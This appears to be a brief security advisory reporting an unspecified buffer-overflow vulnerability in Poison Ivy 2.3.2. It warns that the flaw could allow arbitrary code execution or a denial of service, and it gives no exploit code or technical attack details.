Poison Ivy is prone to an unspecified buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Poison Ivy 2.3.2 is vulnerable; other versions may also be affected.
